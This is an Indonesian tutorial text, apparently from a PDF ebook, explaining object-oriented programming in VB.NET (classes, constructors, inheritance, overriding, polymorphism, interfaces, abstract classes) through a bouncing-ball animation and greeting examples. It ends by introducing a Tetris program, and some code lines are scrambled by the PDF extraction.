End Sub Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30) End Sub Public Sub Move(f as form) 'metoda 'hapus gambar bola sebelumnya Clear(f) 'gerakan bola dengan mengubah x, y sesuai dengan arah x = x + dx y = y + dy 'jika mengenai daerah bingkai If x < 2 or x > (sx-2) Then dx = -dx If y < 2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi baru Draw(f) End Sub End Class

Catatan : Jika anda perhatikan perhatikan rancangan class diatas, maka konsep dari data abstraction akan nampak, dimana sebagai interface keluar hanya terdiri metoda New, Draw, Clear, dan Move, sedangkan pengkodean tersembunyi dari program yang akan memanfaatkan Objek dari Class Pantul Kemudian konsep dari data encapsulation, dimana variable x,y,sx,sy,dx, dan dy disatukan beserta fungsi New, Draw, Clear, dan Move didalam satu Class Pantul.

Ruang Lingkup member pada suatu class
Pada saat pendeklarasian member pada class anda dapat menggunakan keyword seperti Friend, Private, Protected, Protected Friend, dan Public, dimana masing-masing memiliki kendali akses yang berbeda. Friend, member hanya tersedia bagi kode pada lingkup project yang sama. Private, member hanya tersedia bagi class itu sendiri Protected, member tersedia bagi class dan class turunannya. Protected Friend, member tersedua bagi kode pada lingkup project yang sama, dan class turunannya. Public, member tersedia bagi semua kode program. Jika anda tidak menentukan jenis kendali akses bagai suatu member, maka defaultnya adalah Public.

INDOPROG

7

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Constructors
Suatu constructor adalah anggota function yang mana memiliki tugas untuk menginisialisasi objek dari classnya. Suatu constructor akan dijalankan ketika objek dari class tersebut diciptakan. Kita dapat mengirim data kepada konstruktor dengan mencantumkannya didalam kurung. Pada Visual Basic suatu konstruktor harus dibuat dengan suatu Sub procedure dengan nama New pada class. Koding berikut mendemonstrasikan pemakaian dari konstruktor di Visual Basic.
Public Sub New(f sx = f.width \ sy = f.height \ x = rnd*(sx-2) y = rnd*(sy-2) dx = 1 dy = 1 Draw(f) End Sub as form) 30 30 + 2 + 2 'constructor 'lebar form dibagi 'tinggi form dibagi 'posisi awal random 30 30

'arah diagonal ke bawah

Pada contoh diatas, konstruktor digunakan untuk menginisialisasi nilai awal untuk variable pada Objek seperti sx, sy, x, y, dx, dan dy. Untuk konstruktor diatas, pada saat kita membuat instance dari Class dengan
Dim Bola As Pantul Bola = New Pantul(Me)

Dimana Me mengacu pada form yang sedang aktif.

Destructors
Destructors akan dijalankan ketika suatu objek dimusnahkan. Didalam suatu destructor kita dapat menempatkan koding untuk membersihkan objek setelah digunakan. Kita menggunakan metode Finalize di Visual Basic untuk membuat destructor yang otomatis akan dijalankan ketika runtime .NET menemukan bahwa objek tidak dibutuhkan lagi. Contoh implementasi pemakaian destructor adalah misalnya pada konstruktor kita membuka data maupun file, sehingga pada saat destructor kita perlu menutup data maupun file yang terbuka. Catatan: Setiap objek didunia nyata memiliki fase awal yaitu kelahiran, dan fase akhir yaitu kematian. Pada saat suatu objek dilahirkan tentu saja telah memiliki nilai property bawaan, seperti seorang bayi yang baru dilahirkan telah memiliki jenis kelamin, berat badan, dan tinggi. Demikian juga objek dalam konsep OOP, yang kadang-kadang membutuhkan pemberian nilai awal kepada beberapa property begitu instance dari class dibuat. Tindakan pemberian nilai awal (inisialisasi) ini dapat dilakukan dengan menggunakan metoda

INDOPROG

8

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

khusus yang dikenal sebagai Constructor.

Contoh Keunggulan OOP (Bagian 1)
Jika sekilas kita melihat uraian yang telah disebutkan diatas seakan-akan segala sesuatu yang dilakukan dengan pendekatan OOP dapat juga dilakukan dengan teknik pemrograman biasanya. Tetapi misalnya anda bayangkan kita ingin membuat program bola pantul yang terdiri dari 15 buah bola pantul dilayar yang masing-masing bergerak tanpa pendekatan OOP. Berikut ini saya akan membuat contoh dengan pendekatan OOP, dan anda bandingkan sendiri. Pertama kita akan membuat variable array untuk bola pantul sebagai array 15 elemen :
Dim Bola(14) As Pantul

Kemudian kita buat instance dari Class Pantul
For I As Integer = 0 To 14 Bola(I) = New Pantul(Me) Next I

Selanjutnya kita gerakan masing-masing objek dengan looping :
For I As Integer = 0 To 14 Bola.Move(Me) Next I

Dari hal ini jelaslah bahwa dengan pendekatan OOP kita tidak melakukan perubahan terhadap rancangan Class Pantul sama sekali, melainkan kita membuat 15 instance dari Class Pantul. Listing lengkap dari program 15 ola pantul dengan pendekatan OOP.
Option Explicit On Imports Sistem Imports Sistem.Windows.Forms Imports Microsoft.VisualBasic Public Class MyForm : Inherits Form Dim WithEvents MyTimer Bola(14) As Pantul as New Timer Dim

<Sistem.STAThread()> _ Public Shared Sub Main() Application.Run(New MyForm) End Sub Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black Me.FormBorderStyle = FormBorderStyle.None

INDOPROG

9

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Me.Width = Screen.PrimaryScreen.Bounds.Width Me.Height = Screen.PrimaryScreen.Bounds.Height For I As Integer = 0 to 14 Bola(I) = New Pantul(Me) Next I MyTimer.Interval = 150 '150 millidetik MyTimer.Enabled = True End Sub 'Mengerakan objek dengan event tick pada objek MyTimer Private Sub MyTimer_Tick(sender as object, e as eventargs) _ handles MyTimer.Tick For I As Integer = 0 to 14 Bola(I).Move(Me) Next I End Sub End Class

Class Pantul Protected x As Single Protected y As Single Private sx As Single Private sy As Single Private dx As Single Private dy As Single Public Sub New(f sx = f.width \ sy = f.height \ x = rnd*(sx-2) y = rnd*(sy-2) dx = 1 dy = 1 Draw(f) End Sub as form) 30 30 + 2 + 2

'posisi x dilayar 'posisi y dilayar 'jumlah kolom x 'jumlah baris y 'arah bola terhadap x 'arah bola terhadap y 'constructor 'lebar form dibagi 'tinggi form dibagi 'posisi awal random

30 30

'arah diagonal ke bawah

Overridable Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30) End Sub Overridable Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30) End Sub Public Sub Move(f as form) 'metoda 'hapus gambar bola sebelumnya Clear(f) 'gerakan bola dengan mengubah x, y sesuai dengan arah x = x + dx y = y + dy

INDOPROG

10

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

'jika mengenai daerah bingkai If x < 2 or x > (sx-2) Then dx = -dx If y < 2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi baru Draw(f) End Sub End Class

INDOPROG

11

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Inheritance
Pemanfaatan Kembali
Kunci dari kemampuan OOP adalah pemakaian kembali. Yang secara nyata akan menghemat waktu jika kita dapat memanfaatkan kembali pada yang pernah kita buat. Pemakaian kembali akan menurunkan pekerjaan untuk testing dan debugging terhadap bagian yang digunakan kembali, karena telah dilakukan sebelumnya. Proses inheritance dilakukan dengan menurunkan suatu class baru dari class yang telah ada. Class yang lama disebut sebagai base class dan class yang baru disebut derived class. Class turunan akan mewarikan semua atau sebagian dari segala sesuatu yang terdapat pada base class. Pada Visual Basic kita menggunakan keyword Inherits untuk menurunkan suatu class: Misalnya kita telah memiliki Class Pantul
Class Pantul member End Class

Selanjutnya misalnya kita ingin mengembangkan Class baru dengan menurunkannya dari Class Pantu
Class Pantul1 : Inherits Pantul member End Class

Maka Class Pantul1 akan mewarisi semua member Pantul yang dideklarasikan sebagai Protected maupun Public.

Overriding
Pada derived class kadang-kadang kita perlu mendefinisikan ulang fungsi maupun sub yang ada pada base class, dalam hal inilah istilash Overriding muncul, dimana kita dapat mendefinisikan ulang fungsi maupun sub pada derived class. Misalnya pada Class Pantul1 gambar yang ingin kita hasilkan adalah persegi, maka kita perlu melakukan Overiding terhadap Sub Draw dan Clear yang ada pada base class. Catatan : Sub maupun Function pada base class harus dideklarasikan sebagai Overridable baru dapat di Overrides pada derived class. Pada Class pantul kita perlu mencantumkan keyword Overridable
Overridable Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)

INDOPROG

12

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

End Sub Overridable Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30) End Sub

Selanjutnya pada class turunannya kita dapat melakukan Overriding terhadap metoda yang dimaksud :
Class Pantul1 : Inherits Pantul Public Sub New(f MyBase.New(f) End Sub as form) 'constructor

Overrides Public Sub Draw(f as form) 'metoda 'gambar persegi ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30) End Sub Overrides Public Sub Clear(f as form) 'metoda 'gambar persegi ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawRectangle(MyPen, x*30,y*30,30,30) End Sub End Class

Shadowing
Jika pada Overriding kita membutuhkan permisi dari base class untuk melakukan overriding dengan keyword Overridable, selain itu kita juga dapat melakukan Shadowing terhadap metoda pada base class yang tidak memberikan permisi Overridable. Contoh : Pada base class :
Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30) End Sub

Pada class turunannya :

INDOPROG

13

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Public Shadows Sub Draw(f as form) 'metoda 'gambar persegi ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30) End Sub

Catatan : Pemakaian cara Shadowing menyebabkan konsep polymorphism tidak dapat berfungsi sebagaimana pada cara Overriding.

OOP pada Pemrograman Form
Untuk pemrograman program Windows yang berbasis form, .NET telah menyediakan class Form yang terdefinisi pada namespace Sistem.Windows.Forms, kemudian didalam pemakaiannya kita dapat melakukan inheritance dari class form ke program kita dengan menbuat class baru :
Public Class MyForm : Inherits Form

Selanjutnya kita dapat membuat konstruktor (sub New) untuk menginisialisasi keadaan awal dari form kita (misalnya mengatur warna, ukuran, menambah control timer dll)
Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black Me.FormBorderStyle = FormBorderStyle.None Me.Width = Screen.PrimaryScreen.Bounds.Width Me.Height = Screen.PrimaryScreen.Bounds.Height For I As Integer = 0 to 14 Bola(I) = New Pantul(Me) Next I MyTimer.Interval = 150 '150 millidetik MyTimer.Enabled = True End Sub

Pada class MyForm kita dapat juga melakukan overriding terhadap metoda yang telah terdefinisi pada class Form, misalnya untuk metoda paint.
Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyBase.OnPaint(e) e.Graphics.DrawLine(MyPen,10,10,200,100) End Sub

Contoh Keunggulan OOP (Bagian 2)
Misalnya kita akan membuat program yang terdiri dari 2 objek pantul yang satu berbentuk bola dan satu berbentuk persegi.

INDOPROG

14

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Pada pendekatan OOP, misalnya kita telah memiliki class Pantul yang menampilkan bentuk lingkaran, selanjutnya adalah membuat class Pantul1 yang akan menampilkan bentuk persegi, tetapi kita tidak perlu merancang class Pantul1 dari awal melainkan cukup menurunkannya dari class Pantul dengan melakukan override terhadap metoda draw dan clear. Jadi dalam hal ini kita tidak perlu merancang class dari awal, tetapi cukup memperbaharui maupun mengembangkan class yang telah ada, sehingga waktu pemrograman dapat dipersingkat dan proses debug dapat dikurangi. Listing program menampilkan bola dan persegi pantul dilayar :
Option Explicit On Imports Sistem Imports Sistem.Windows.Forms Imports Microsoft.VisualBasic Public Class MyForm : Inherits Form Dim WithEvents MyTimer as New Timer Dim Bola As Pantul Dim Persegi As Pantul1 <Sistem.STAThread()> _ Public Shared Sub Main() Application.Run(New MyForm) End Sub

Public

Sub

New()

'Constructor

Me.BackColor = Sistem.Drawing.Color.Black Me.FormBorderStyle = FormBorderStyle.None Me.Width = Screen.PrimaryScreen.Bounds.Width Me.Height = Screen.PrimaryScreen.Bounds.Height Bola = New Pantul(Me) Persegi = New Pantul1(Me) MyTimer.Interval = 150 MyTimer.Enabled = True End Sub Private Sub MyTimer_Tock(sender as object, e as eventargs) _ handles MyTimer.Tick Bola.Move(Me) Persegi.Move(Me) End Sub End Class

Class Pantul Protected x Protected y Private sx Private sy

As As As As

Single Single Single Single

'posisi 'posisi 'jumlah 'jumlah

x dilayar y dilayar kolom x baris y

INDOPROG

15

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Private dx As Single Private dy As Single Public Sub New(f as form) sx = f.width \ 30 sy = f.height \ 30 x = rnd*(sx-2) + 2 y = rnd*(sy-2) + 2 dx = 1 dy = 1 Draw(f) End Sub

'arah bola terhadap x 'arah bola terhadap y 'constructor 'lebar form dibagi 30 'tinggi form dibagi 30 'posisi awal random 'arah diagonal ke bawah

Overridable Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30) End Sub Overridable Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30) End Sub Public Sub Move(f as form) 'metoda 'hapus gambar bola sebelumnya Clear(f) 'gerakan bola dengan mengubah x, y sesuai dengan arah x = x + dx y = y + dy 'jika mengenai daerah bingkai If x < 2 or x > (sx-2) Then dx = -dx If y < 2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi baru Draw(f) End Sub End Class Class Pantul1 : Inherits Pantul Public Sub New(f MyBase.New(f) End Sub as form) 'constructor 'menjalankan

constructor

base

class

Overrides Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30) End Sub Overrides Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics

form

INDOPROG

16

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawRectangle(MyPen, x*30,y*30,30,30) End Sub End Class

INDOPROG

17

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Polymorphism
Polymorphism merupakan salah satu fasilitas yang krusial pada OOP, yang memiliki arti "satu nama, banyak bentuk". Hal ini disebut juga sebagai Overloading yang berarti menggunakan hal yang sama untuk tujuan yang berbeda. Dengan menggunakan Polymorphism kita dapat membuat banyak fungsi dengan nama yang sama tetapi memiliki daftar argument yang berbeda. Fungsi tersebut dijalankan berdasarkan daftar argument yang digunakan untuk menjalankan fungsi. Misalnya kita memperbaharui class Pantul dimana pada konstruktor kita dapat menentukan warna dari lingkaran.
Class Pantul 'posisi x dilayar Protected x As Single Protected y As Single 'posisi y dilayar Private sx As Single 'jumlah kolom x 'jumlah baris y Private sy As Single 'arah bola terhadap x Private dx As Single 'arah bola terhadap y Private dy As Single Private clr As Sistem.Drawing.Color Public Sub New(f as form) 'constructor me.New(f,Sistem.Drawing.Color.Red) End Sub Public Sub New(f as form, w as sistem.drawing.color) 'constructor 'lebar form dibagi 30 sx = f.width \ 30 'tinggi form dibagi 30 sy = f.height \ 30 'posisi awal random x = rnd*(sx-2) + 2 y = rnd*(sy-2) + 2 'arah diagonal ke bawah dx = 1 dy = 1 clr = w Draw(f) End Sub Overridable Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Clr,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30) End Sub Overridable Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30) End Sub Public Sub Move(f as form) 'metoda 'hapus gambar bola sebelumnya Clear(f) 'gerakan bola dengan mengubah x, y sesuai dengan arah

INDOPROG

18

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

x = x + dx y = y + dy 'jika mengenai daerah bingkai If x < 2 or x > (sx-2) Then dx = -dx If y < 2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi baru Draw(f) End Sub End Class

Dalam hal ini class pantul memiliki dua konstruktor yang masing-masing memiliki daftar argument yang berbeda yaitu :
Public Sub New(f as form) 'constructor

Dan
Public Sub New(f as form, w as sistem.drawing.color)

Sehingga ketika kita membuat instance dari Class Pantul dapat dilakukan dengan :
Bola = New Pantul(Me)

Ataupun :
Bola = New Pantul(Me, Sistem.Drawing.Color.Blue)

Polymorphism juga dapat berupa pemanfaatan variable yang bertype base class untuk mengimplementasikan metoda pada class-class turunannya. Misalnya kita mendeklarasikan variable array bola yang terdiri dari dua elemen Dim Bola(1) As Pantul Bola(0) = New Pantul(Me) Bola(1) = New Pantul1(Me) Dimana variable Bola(n) sebenarnya merupakan variable type Pantul, tetapi dalam pemakaiannya kita gunakan untuk instance Pantul1, selanjutnya : Bola(0).Move(Me) Bola(1).Move(Me) Akan menjalankan metoda Move dari Class yang bersesuaian dengan instance objek yang dibuat.

Contoh Keunggulan OOP (Bagian 3)
Misalnya kita ingin membuat program animasi bola pantul di layar yang memberi kebebasan kepada pemakai untuk menentukan jumlah objek masing-masing bentuk dilayar :

INDOPROG

19

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Dim JlhBola As Integer = Val(Inputbox("Jumlah Bola")) Dim JlhPersegi As Integer = Val(Inputbox("Jumlah Persegi"))

Selanjutnya kita membuat instance dari masing-masing class sesuai dengan jumlah yang ditentukan :
Dim Bola(14) As Pantul Dim Jlh As Integer Dim I As Integer = 0 Do While I < JlhBola Bola(I) = new Pantul(Me) I+=1 Loop Do While I < JlhBola+JlhPersegi Bola(I) = new Pantul1(Me) I+=1 Loop Jlh = JlhBola+JlhPersegi

Dalam hal ini kita mendeklarasikan variable array Bola yang bertipe Pantul, padahal dalam pemakaiannya kita gunakan juga untuk menampung instance untuk class Pantul1. Kemudian untuk mengerakan objek kita gunakan looping :
For I As Integer = 0 To Jlh-1 Bola(I).Move(Me)

INDOPROG

20

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Next I

Selanjutnya metoda move yang dijalankan sangat tergantung pada jenis instance dari variable objek. Dapatkah anda bayangkan bagaimana kalau tanpa menggunakan Polymorphism ? Listing program menampilkan bola dan persegi pantul dilayar sesuai dengan jumlah yang diinginkan pemakai :
Option Explicit On Imports Sistem Imports Sistem.Windows.Forms Imports Microsoft.VisualBasic Public Class MyForm : Inherits Form Dim WithEvents MyTimer Bola(14) As Pantul Dim Jlh As Integer as New Timer Dim

<Sistem.STAThread()> _ Public Shared Sub Main() Application.Run(New MyForm) End Sub Public Sub New() 'Constructor

Me.BackColor = Sistem.Drawing.Color.Black Me.FormBorderStyle = FormBorderStyle.None Me.Width = Screen.PrimaryScreen.Bounds.Width Me.Height = Screen.PrimaryScreen.Bounds.Height Dim JlhBola As Integer = Val(Inputbox("Jumlah Bola")) Dim JlhPersegi As Integer = Val(Inputbox("Jumlah Persegi")) Dim I As Integer = 0 Do While I < JlhBola Bola(I) = new Pantul(Me) I+=1 Loop Do While I < JlhBola+JlhPersegi Bola(I) = new Pantul1(Me) I+=1 Loop Jlh = JlhBola+JlhPersegi

MyTimer.Interval = 150 MyTimer.Enabled = True End Sub Private Sub MyTimer_Tock(sender as object, e as eventargs) _ handles MyTimer.Tick For I As Integer = 0 To Jlh-1

INDOPROG

21

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Next End Sub End Class

Bola(I).Move(Me) I

Class Pantul Protected x As Single 'posisi x dilayar Protected y As Single 'posisi y dilayar Private sx As Single 'jumlah kolom x Private sy As Single 'jumlah baris y Private dx As Single 'arah bola terhadap x Private dy As Single 'arah bola terhadap y Private clr As Sistem.Drawing.Color Public Sub New(f as form) 'constructor me.New(f,Sistem.Drawing.Color.Red) End Sub Public Sub New(f as form, w as sistem.drawing.color) 'constructor sx = f.width \ 30 'lebar form dibagi 30 sy = f.height \ 30 'tinggi form dibagi 30 x = rnd*(sx-2) + 2 'posisi awal random y = rnd*(sy-2) + 2 dx = 1 'arah diagonal ke bawah dy = 1 clr = w Draw(f) End Sub Overridable Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Clr,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30) End Sub Overridable Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawEllipse(MyPen, x*30,y*30,30,30) End Sub Public Sub Move(f as form) 'metoda 'hapus gambar bola sebelumnya Clear(f) 'gerakan bola dengan mengubah x, y sesuai dengan arah x = x + dx y = y + dy 'jika mengenai daerah bingkai If x < 2 or x > (sx-2) Then dx = -dx If y < 2 or y > (sy-2) Then dy = -dy 'gambar bola diposisi baru Draw(f)

INDOPROG

22

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

End Sub End Class Class Pantul1 : Inherits Pantul Public Sub New(f MyBase.New(f) End Sub as form) 'constructor

Overrides Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30) End Sub Overrides Public Sub Clear(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna latar belakang form Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(f.BackColor,3) MyGraphic.DrawRectangle(MyPen, x*30,y*30,30,30) End Sub

End

Class

Catatan : Konsep Polymorphism tidak berlaku untuk metoda Shadowing.

INDOPROG

23

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Interfaces
Interfaces memungkinkan kita untuk membuat definisi untuk interaksi komponen. Interface juga menyediakan cara lain untuk mengimplementasikan polymorphism. Melalui interface, kita dapat menentukan metoda yang mana suatu komponen harus miliki tanpa menentukan bagaimana metoda tersebut diimplementasikan (koding detail untuk metoda tersebut). Jadi dalam hal ini interface menyerupai prototype bagi class lain yang akan dikembangkan. Anda bisa membayangkan interface sebagai suatu standard pengembangan berbagai fasilitas dalam objek yang dibakukan, jika class mendukung standard interface tersebut, maka wajib memenuhi tata cara penulisan yang telah didefinisikan dalam interface. Misalnya kita membuka pusat layanan pelanggan dimana semua pelayan diwajibkan melakukan sapaan pembukan kepada para tamu yang dating berkunjung, dan kata pembuka sapaan telah distandarisasi untuk pagi, sore, dan malam.
Public Interface Sub Pagi() Sub Sore() Sub Malam() End Interface Sapaan

Kita menggunakan keyword Interface untuk membuat suatu interface dan keyword implements untuk mengimplementasikan interface tersebut. Selanjutnya sapaan akan disampaikan dalam dua bahasa sesuai dengan asal pengunjung, sehingga kita dapat memgembangkan class dengan mengimplementasikan interface sapaan yang telah dibuat :
Public Class Indonesia : Implements Sapaan Sub Pagi() Implements Sapaan.Pagi Console.WriteLine("Selamat Pagi") End Sub Sub Sore() Implements Sapaan.Sore Console.WriteLine("Selamat Sore") End Sub Malam() Implements Sapaan.Malam Console.WriteLine("Selamat Malam") End Sub End Class Public Class English : Implements Sapaan Sub Pagi() Implements Sapaan.Pagi Console.WriteLine("Good Morning") End Sub Sub Sore() Implements Sapaan.Sore Sub

INDOPROG

24

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Console.WriteLine("Good End Sub Sub

Afternoon")

Malam() Implements Sapaan.Malam Console.WriteLine("Good Evening") End Sub End Class

Dan listing konkret untuk contoh pemakaian interface :
Option Imports Public Sub Explicit Sistem Module MyModule On

Main() Dim Domestik As New Indonesia Dim Internasional As New English Domestik.Pagi() Internasional.Pagi() End Sub Public Interface Sub Pagi() Sub Sore() Sub Malam() End Interface Sapaan

Public Class Indonesia : Implements Sapaan Sub Pagi() Implements Sapaan.Pagi Console.WriteLine("Selamat Pagi") End Sub Sub Sore() Implements Sapaan.Sore Console.WriteLine("Selamat Sore") End Sub Malam() Implements Sapaan.Malam Console.WriteLine("Selamat Malam") End Sub End Class Public Class English : Implements Sapaan Sub Pagi() Implements Sapaan.Pagi Console.WriteLine("Good Morning") End Sub Sub Sore() Implements Sapaan.Sore Console.WriteLine("Good Afternoon") End Sub Sub Malam() Implements Sapaan.Malam Console.WriteLine("Good Evening") End Sub Sub

INDOPROG

25

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

End End

Class

Module

Dan kalau dijalankan akan menghasilkan tampilan berikut

INDOPROG

26

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Abstract Classes
Suatu class abstrak tidak dapat digunakan untuk membuat objek. Suatu class abstrak dirancang untuk berlaku sebagai suatu base class (untuk diwariskan ke class lain). Suatu abstrak class digunakan sebagai konsep design yang menjadi acuan pengembangan bagi class-class yang akan dikembangkan. Class abstrak menyerupai interface. Setelah suatu class abstrak dideklarasikan, dia tidak dapat di buat objek instancenya, melainkan harus diturunkan.

Membuat class Abstrak
Pada Visual Basic .NET kita dapat membuat abstrak class dengan menggunakan keyword MustInherit.
MustInherit Public Class Sapaan MustOverride Sub Pagi() MustOverride Sub Sore() MustOverride Sub Malam() End Class

Kemudian pada contoh diatas pada masing-masing metoda sapaan kita menambahkan keyword MustOverride bahwa metoda Pagi, Sore, dan Malam harus di override pada class turunannya.
Option Imports Public Sub Explicit Sistem Module MyModule On

Main() Dim Domestik As New Indonesia Dim Internasional As New English Domestik.Pagi() Internasional.Pagi() End Sub MustInherit Public Class Sapaan MustOverride Sub Pagi() MustOverride Sub Sore() MustOverride Sub Malam() End Class Public Class Indonesia : Inherits Sapaan Overrides Sub Pagi() Console.WriteLine("Selamat Pagi") End Sub Overrides Sub Sore() Console.WriteLine("Selamat End Sub Overrides Sub Malam()

Sore")

INDOPROG

27

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Console.WriteLine("Selamat End Sub End Class

Malam")

Public Class English : Inherits Sapaan Overrides Sub Pagi() Console.WriteLine("Good Morning") End Sub Overrides Sub Sore() Console.WriteLine("Good End Sub Overrides Sub Malam() Console.WriteLine("Good End Sub End Class End Module

Afternoon")

Evening")

INDOPROG

28

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Program Tetris
Oleh : Hendra Soewarno Contoh aplikasi pemrograman GDI+ untuk pembuatan games tetris dengan pendekatan berorientasi objek.

Untuk memahami program ini anda perlu mengerti pemrograman form, event handling, dan array, serta GDI+

INDOPROG

29

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Rancangan program
Program ini menggunakan pendekatan berorientasi objek dengan membuat dua class untuk objek Shape dan objek Grid

Class TShape
Class ini berfungsi menghasilkan bentuk-bentuk dengan sistem koordinat berikut :

{1,0},{1,1},{1,2},{1,3}

Dan rotasi ke kanan akan menjadi

{0,1},{1,1},{2,1},{3,1}

Berikut ini adalah rincian array untuk masing-masing Shape dan rotasinya
